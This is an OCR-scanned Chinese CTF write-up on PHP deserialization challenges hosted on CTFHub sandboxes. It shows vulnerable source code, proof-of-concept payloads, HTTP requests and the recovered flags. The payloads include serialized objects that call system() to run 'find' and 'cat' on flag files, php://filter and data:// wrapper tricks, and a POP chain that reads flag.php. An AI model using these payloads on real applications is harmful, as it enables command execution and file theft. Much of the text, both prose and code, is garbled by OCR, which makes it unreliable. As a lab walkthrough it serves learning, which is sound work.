%4k (Unserialize) % H JF#

AN AG S T 2021-10-05 0122 05 KA 1896 WO 2

AT, A RO E, R CC40 BY-SARRENL, RN L BRI
AR htips//blog.csdn.net/qg 49422880/article/details/119222851

2021-28 .75 [A] % 68 & &= K 38 -Web-pklovecloud
P B Y G -

<?php
include 'flag.php’;
class pkshow

{
function echo_name()
{
return "Pk very safe”.™";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function _ construct()
{
$this->cinder = new pkshow;
}
function __ toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{

public $filename;

public $openstack;

public $docker;

function echo_name()

{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
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if (file_get_contents($file))

{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(_ file_);
?>
POC:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function _ construct()
{
$this->cinder = new ace();
}
}
class ace
{
public $filename="'flag.php';
public $openstack;
public $docker = '0:1:"F":2:{s:7:"neutron”;N;s:4:"nova";R:2;}";
}

$d = serialize($b);

var_dump(urlencode($d));

?>



JREH#E: $file = "./{$Sthis->filename}";if (file_get_contents($file)) {return file_get_contents($file);
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<?php

$a = unserialize("");

var_dump($a);
echo "<br/><br/>";
var_dump($a->aaa);//IBAANFENEME, REINULL

?>
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<?php

class Test {
var $rr = "ctfer";
var $qq;

$pop = new Test();

$pop->qq = &$pop->rr;

$cpp =serialize($pop);

var_dump($cpp);

echo "<br/><br/>";

var_dump(unserialize($cpp));

?>

//0:4:"Test":2:{s:2:"rr";s:5:"ctfer";s:2:"qq";R:2;}

//{ ["rr"]=> &string(5) "ctfer" ["qq"]=> &string(5) "ctfer" }
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LOAD SPLIT EXECUTE TEST ~ sQLl - Xss - LFI -~ SSTI -~ ENCODING -~ HASHING

URL
htip://challenge-23d5a178270a5bea.sandbox.cifhub.com:10800/index.phpl

enctype
@@ cnzble POST application/x-www-form-urlencoded v

Body
func=file_get_contents&p=index.php

ADD HEADER

=

L
™

[
)
~J
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<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source", "phpinfo", "popen

E)

"escapeshellcmd", "escapeshellarg", "assert","substr_replace","call_user_func_array","call _user_func","

E) E)
non

"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_arr
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
)s
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);

if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function _ destruct() {
if ($this->func = "") {
echo gettime($this->func, $this->p);
}
}

}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");

?>

BEWPZHI, BtaRe, XABMAECTFHUBHETRFIMLKIDA, At AREAEBIRFFILH
HE, WEE—BELUNRRCE. &HXRWPEEIE HUnserializeth &2 — MR EHNSERMEEZRFE, RFFIMZE
BT DO AR IAT T . RTERRG R, X250 BB LR e 7,

H# FPOC:

<?php

class Test {
var $p = "find / -name *flag*";
var $func = "system";

echo serialize(new Test());
?>

//%id: 0:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
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<?php

class Test {
var $p = "cat /flag_285906012";
var $func = "system";

echo serialize(new Test());

?>

//%itH: 0:4:"Test":2:{s:1:"p";s:19:"cat /flag_285906012";s:4:"func";s:6:"system";}
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LOAD SPLIT EXECUTE TEST -~ sqLl - Xss -~ LFl - SSTI ~ ENCODING -~ HASHING

URL
htip://challenge-23d5a178270a5bea.sandbox.ctfhub.com:10800/index.php

enctype

i@ cnable POST application/x-www-form-urlencoded v

Body
funcrunserialize&p=0:4:"Test"2:{s:1:"p";5:19:"cat /flag_285906012";s:4:"func";s:6:"system";}
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<?php
include("flag.php");//B& XM
highlight_file(__FILE_ );
class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile”;
$content = "Hello World!";
$this->process();

public function process() { / /BRSSO, 2mhiRBocs: CRIE &)
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);  //BBUOCHFIE EoR &5 R4 R
} else {
$this->output("Bad Hacker!"):



}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file put_contents($this->filename, $this->content);
if($res) $this->output(“Successfull");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get contents($this->filename);//EEESCHEHIZ B bR %0
}

return $res;

}

private function output($s) {
echo "[Result]: <br>";

echo $s;
}
function _ destruct() { / /A B
if($this->op === "2")
$this->op = "1";
$this->content = "";

$this->process();

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 & ord($s[$i]) <= 125))
return false;
return true;

}
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) { [/ FIB R B R BAE32M1125 2 [H]
$obj = unserialize($str);//RFFlik

}

F—ANFERA, FERLERAERBOUY L, BlopMEFRERN2, XHFFE_ destruct()Fop==="2", LI
T8t . REHLEXH4IX BECTFHUB E B A CHFBAE T flag.php k.,  FrAFRATTKifilename="flag.php'BI 7] .
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POC:
<?php
class FileHandler
{
public $op;
public $filename;
public $content;
function _ construct()
{
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!";
}
}
$a = new FileHandler();
$a = serialize($a);

echo (%a);

B CKbaseb4fLENA]) .

1

function is_walidi%s) |
for(3i = 0; $i < strlen($s); Ji++
1F0 ford(3s[$1])  »= 32 &k ord($s[3i]) <= 128
return false;
return true,

1
if(isset($ GET{ stx’ 1)

$str = (string) 3. GET[ str’];
iflis walid(Fstryy |

Jobi = unserialize($str)
1

1
[Result]: B - _
PD9waHAKJEZMQUcgPSAiY3RmaHViezFwYzZmNGIONTIwYmQxZDVKNDZKkYTIY30iOwo/Pgo= CEDN @NGCA2237

o HHZ, RIFFIMKIERT, MRERRFHBRISHLS, FHKFHEE RIS ETAE, JFHKFERFETUHAT
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O-11"FileHandler":3:{s'5"*op",i 2 .s:11"*filename" s 52:"php:/ffilter/convert basef4-encode/resource=flag php";s 10:"*content” s:12-"Hello World!"}

O:11:"FileHandler":3:{S:5:00"000p"1:2;5:11:"00"00filename”; 5:52:"php:/filter/convert basef4-encode/resource=flag php";5:10:"00*\00content”; S:12:"Hello Worldl™ }
— — —
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POC:

<?php

class FileHandler

{

protected $op;
protected $filename;
protected $content;

function __construct()
{
$this->op = 2;

$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!";

$a = new FileHandler();
$a = serialize($a);
$a = str_replace('*','\00*\00',%a);

$a = str_replace('s:','S:',%a);
echo (%$a);

?>

—FEHIAER.



private function write(r |
if(isset(§this—>filenane) && isset($this—>content)) [
if(strlen({string) $this-rcontent) > 1001 {
$this—>output ("Tee leng!”);
died;
}
Jres = file_put_contents ($thiz—>filenans,
if{3res) $this->output("Successful!”);
else $this—routput(“Failed!”);
1 else |
$this-reutput (“Failed!”);
1

$this—content) ;

t

private function read() |
Jres = 77,
if(isset($this—>filenane)) |
gres = file get contents (§this—>filenane)
i

return Jres;

}

private function output($s) [

echo  “[Result]: <brd”;
echo $s;
t
function __destruct() |
if($this-ven = "z
$this—3e) "1

P
$this—>content =
$this—sprocess O

1

function is_valid($s) {
for($ = 0, $1 < strlen($s); §i+H)
if (0 ford(§s[$1]) »= 32 && ord($s[$il) <= 1280
return false;
return true;

i
iflisset(3_CETstr' 1)) 1
$str = (string)$ GET[ str’];

if{is_valid($str))
$ob] = unserialize(fstr);
t

1
[Result]:
PD9waHAKJEZMQUcgPSAiY3RmaHViezEwYzZmNGIONTIwYmQxZDVKkNDZkYTIIY30iOwo/Pgo=

(@] (] A TZ2 | challenge-37ded99bfb146b56.sandbox.ctfhub.com: 10800/ 7str=0:11:"

FileHandler":3:{s:2:"op";i:2;5:8:"filename";s:52:"php://filter/convert.base64-enc... g o 3 =
=N G2 T=E EHE B e RS = Lighthouse HackBar  »
LOAD SPLIT EXECUTE TEST ~ sQLl -~ Xss - LFI - SSTI ~
URL

hitp://challenge-37ded99bfb146b56.sandbox.ctfhub.com:10800/7str=0:11:"EileHandler":3:
{S:5:"\00*\Q00op";i:2;S:11:"\00*\Q0filename";S:52:"php:/filter/convert.base64-
encode/resource=flag.php";S:10:"\00*\00content";S:12:"Hello World!";}

£

Enable POST

ADD HEADER

csr

CSDN @NGCA2237

LA RFEEMSE 5(E B RETERE-RIE-2019-Web-i¥i 7 1B 4
BB E S RPHPS HUERT, SRR 2R BB S .

BTG

<?php
$text = $_GET["text"];
$file = $ GET["file"];

$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text, 'r")

"welcome to the zjctf")){

echo "<br><hl>".file_get_contents($text, 'r')."</h1></br>";

if(preg_match("/flag/",$file)){
echo "Not now!";
exit();

}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;

}

else{
highlight_file(__FILE_ );
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5 [fitext i o 19 3014 A & Swelcome to the ZjctfA [, T LA A datath i Bk & inputiirilt

1. data:/text/plaintril

data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

(m} \ i hittps//www*.ctfhub.com - BRI/ X \ CTFHub X [ challenge-ar603692509962bd.s: x| =
& C M A TF2 | challenge-af603692509962bd.sandbox.ctfhub.com: 10800/ ?text=data://text/plain;:basef4,d2VsY29t7SBObyB0aGUgempjdGY = 8 o & =
O 0 = @Me B m  mEEs  @eE lghthouss  HackBar »  + 813

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS - LFI ~ SSTI ~ El

welcome to the zjctf

R

P

1

a

3

(o2 I3 IIVEN

0 oo

1

12

14
5
L6

Y

1. php://inputiHil

equest
retty IBEAUM Hex \n =

POST /?text=php://input HITP/1.1

Host:
challenge—af603692509962bd. sandbox. ctfhub. com: 10800
Content-Length: 20

Cache—-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64)
AppleWebKit/537. 36 (KHTML, like Gecko)
Chrome/94. 0. 4606. 71 Safari/537. 36 Edg/94. 0. 992. 38

7 Origin:

http://challenge—af603692509962bd. sandbox. ctfhub. com:1
0800

Content-Type: application/x—www-form-urlencoded
Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9,
image/webp, image/apng, */#%;q=0. 8, application/signed-exc
hange;v=b3;q=0.9

Referer:
http://challenge-af603692509962bd. sandbox. ctfhub. com:1
0800/?text=php://input

Accept-Encoding: gzip, deflate

Accept-Language:

zh—CN, zh;q=0. 9, en;q=0. 8, en-GB;q=0. 7, en-US;q=0. 6
Cookie: UM_distinctid=
17cdbb425371£8-02071666elcT8d-513c164a-144000-1Tc4b542
53851a

Connection: close

welcome to the zjctf]

hp://input+postt&

o —/include($file)

URL
http://challenge-af603692509962bd.sandbox.ctfhub.com:10800/?

text=data://text/plain;base64,d2VsY29tZSB0ObyB0aGUgempjdGY=

Enable POST

nnnnnnnnn

= = | inspEcTOI

Response

Raw Hex Render \n = Query Parar

1
3
4
5
6
8

9
10
11
12

HTTP/1.1 200 OK

Server: openresty/1.19. 3.2

Date: Tue, 05 Oct 2021 08:32:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

X-Powerad-By: PHP/5. 6. 40
Access—Control-Allow-Origin: * Response H
Access—Control-Allow—Headers: X-Requested-With
Access—Control-Allow-Methods: *

Content-Length: 38

Body Param
Request Co«

Request Hei

<{br>
<hl>
welcome to the zjctf
</hl>
{/br>

X BAE F Oy B GE E base64 i B 3k, AR5 8 Flbase64 RIS & B YRS, X B8 FIBSA&niE N4 4 FiHackbar &~
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<?php

class Flag{ //flag.php
public $file;
public function __ tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");

}

X B AR EKR &P ffilefd Juflag.phpBI AT, 3 BL AT DL 42 13 B s U ik 1 O 2 B . 7 B POC:
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<?php
class Flag{ //flag.php

public $file="'flag.php';

$a = new Flag();

echo serialize($a);

?>

//0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

etty IGEC Hex M =

| POST /?text=php://input&file=useless. php&password=

0:4:"Flag”:1:{s:4:"file”;s5:8:"flag. php”;} HITP/L.1

Host: challenge-af603692509962bd. sandbox. ctfhub. com: 10800
Content-Length: 20

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64)
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/94.0.4608. 71
Safari/b37. 36 Edg/94. 0. 992. 38

[ Origin:

http://challenge-af603692509962bd. sandbox. ctfhub. com: 10800
Content-Type: application/x-www—formurlencoded

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, image/
webp, image/apng, */#;q=0. 8, application/signed-exchange;v=b3;q
=0.9

Referer:
http://challenge-af603692509962bd. sandbox. ctfhub. com: 10800/?
text=php://input
Accept-Encoding: gzip
Accept-Language:
zh—CN, zh;q=0. 9, en;q=0. 8, en-GB;g=0. 7, en-US;q=0. 6

Cookie: UM_distinctid=
17c4bb425371£8-0e07666elc78d-513c164a-144000-1Tc4b54253851a
close

deflate

Connection:

5 welcome to the zjctf

Pretty

=1 T U1 W= LD DD e

=i es]
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—_
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14
16
19
20

23

Raw Hex Render \n =

HITP/1.1 200 OK

Server: openresty/l.19.3.2

Date: Tue, 05 Oct 2021 09:01:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

X-Powered-By: PHP/5. 6. 40
Access—Control-Allow—(Origin: *
Access—Control-Allow-Headers: X-Requested-With
Access—Control—-Allow-Methods: *
Content-Length: 205

{br»
<hl>
welcome to the zjctf
</hly
<Sbory

{br>
ch u find it </br>

<!--but 1 cant give it to u now——>
{?php

1f(2===3){
return (“ctfhub{4b916b8c58ab25322175341c}”) ;

1}

2y m-r

{hr
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